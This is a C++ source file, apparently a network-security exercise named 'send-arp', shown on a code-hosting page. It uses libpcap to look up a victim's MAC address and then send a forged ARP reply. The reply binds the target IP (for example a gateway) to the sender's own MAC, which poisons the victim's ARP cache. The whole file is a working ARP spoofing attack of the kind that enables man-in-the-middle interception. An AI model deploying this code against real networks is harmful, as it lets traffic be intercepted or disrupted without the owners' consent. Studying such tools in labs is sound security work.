-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
181 lines (141 loc) · 4.31 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#include <iostream>
#include <stdio.h>
#include <cstdio>
#include <pcap.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <net/if.h>
#include <unistd.h>
#include "ethhdr.h"
#include "arphdr.h"
#include "ip.h"
#include "mac.h"
#pragma pack(push, 1)
struct arp_packet {
EthHdr eth_;
ArpHdr arp_;
};
#pragma pack(pop)
void usage() {
printf("syntax : send-arp <interface> <sender ip> <target ip>\n");
printf("sample : send-arp wlan0 192.168.10.2 192.168.10.1\n");
}
// ref:
// https://www.includehelp.com/cpp-programs/get-mac-address-of-linux-based-network-device.aspx
Mac get_my_mac_address(char* dev) {
int fd;
struct ifreq ifr;
Mac mac_address;
fd = socket(AF_INET, SOCK_DGRAM, 0);
ifr.ifr_addr.sa_family = AF_INET;
strncpy((char*)ifr.ifr_name, (const char*)dev, IFNAMSIZ - 1);
ioctl(fd, SIOCGIFHWADDR, &ifr);
close(fd);
mac_address = (uint8_t*)ifr.ifr_hwaddr.sa_data;
return mac_address;
}
// ref:
// https://stackoverflow.com/questions/2283494/get-ip-address-of-an-interface-on-linux
Ip get_my_ipv4_address(const char* dev) {
int fd;
struct ifreq ifr;
uint32_t ip_address;
fd = socket(AF_INET, SOCK_DGRAM, 0);
ifr.ifr_addr.sa_family = AF_INET;
strncpy((char*)ifr.ifr_name, dev, IFNAMSIZ - 1);
ioctl(fd, SIOCGIFADDR, &ifr);
close(fd);
ip_address = ntohl((((struct sockaddr_in*)&ifr.ifr_addr)->sin_addr).s_addr);
return ip_address;
}
int aio_send_packet(pcap_t* handle, Mac ethernetDestinationMac,
Mac ethernetSourceMac, u_short operation, Mac arpSourceMac,
u_long arpSourceIp, Mac arpTargetMac, u_long arpTargetIp) {
arp_packet packet;
packet.eth_.dmac_ = ethernetDestinationMac;
packet.eth_.smac_ = ethernetSourceMac;
packet.eth_.type_ = htons(EthHdr::Arp);
packet.arp_.hrd_ = htons(ArpHdr::ETHER);
packet.arp_.pro_ = htons(EthHdr::Ip4);
packet.arp_.hln_ = Mac::SIZE;
packet.arp_.pln_ = Ip::SIZE;
packet.arp_.op_ = operation;
packet.arp_.smac_ = arpSourceMac;
packet.arp_.sip_ = arpSourceIp;
packet.arp_.tmac_ = arpTargetMac;
packet.arp_.tip_ = arpTargetIp;
return pcap_sendpacket(handle, reinterpret_cast<const u_char*>(&packet),
sizeof(arp_packet));
}
int main(int argc, char* argv[]) {
if (argc != 4) {
usage();
return -1;
}
char* dev = argv[1];
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t* handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == nullptr) {
printf("ERROR: Couldn't open device %s(%s)\n", dev, errbuf);
return -1;
}
Mac my_mac;
Ip my_ip;
my_mac = get_my_mac_address(dev);
my_ip = get_my_ipv4_address(dev);
Mac sender_mac;
Ip sender_ip = Ip(argv[2]);
Ip target_ip = Ip(argv[3]);
int res;
res = aio_send_packet(handle, Mac("ff:ff:ff:ff:ff:ff"), my_mac,
htons(ArpHdr::Request), my_mac, htonl(my_ip),
Mac("00:00:00:00:00:00"), htonl(sender_ip));
if (res != 0) {
printf("ERROR: pcap_sendpacket return %d error=%s\n", res,
pcap_geterr(handle));
return -1;
}
struct pcap_pkthdr* header;
const uint8_t* packet;
while (true) {
sleep(0);
res = pcap_next_ex(handle, &header, &packet);
if (res == 0) continue;
if (res == -1 || res == -2) {
printf("ERROR: pcap_next_ex return %d error=%s\n", res,
pcap_geterr(handle));
return -1;
}
EthHdr* respondEthernet = (EthHdr*)packet;
if (respondEthernet->type() != EthHdr::Arp) {
continue;
}
ArpHdr* arpRespond = (ArpHdr*)(packet + sizeof(EthHdr));
if (arpRespond->hrd() != ArpHdr::ETHER ||
arpRespond->pro() != EthHdr::Ip4 || arpRespond->op() != ArpHdr::Reply) {
continue;
}
if (arpRespond->tmac() == my_mac && arpRespond->tip() == my_ip &&
arpRespond->sip() == sender_ip) {
sender_mac = arpRespond->smac();
break;
}
}
res = aio_send_packet(handle, sender_mac, my_mac,
htons(ArpHdr::Reply), my_mac, htonl(target_ip),
sender_mac, htonl(sender_ip));
if (res != 0) {
printf("ERROR: pcap_sendpacket return %d error=%s\n", res,
pcap_geterr(handle));
return -1;
}
pcap_close(handle);
printf("Done!\n");
}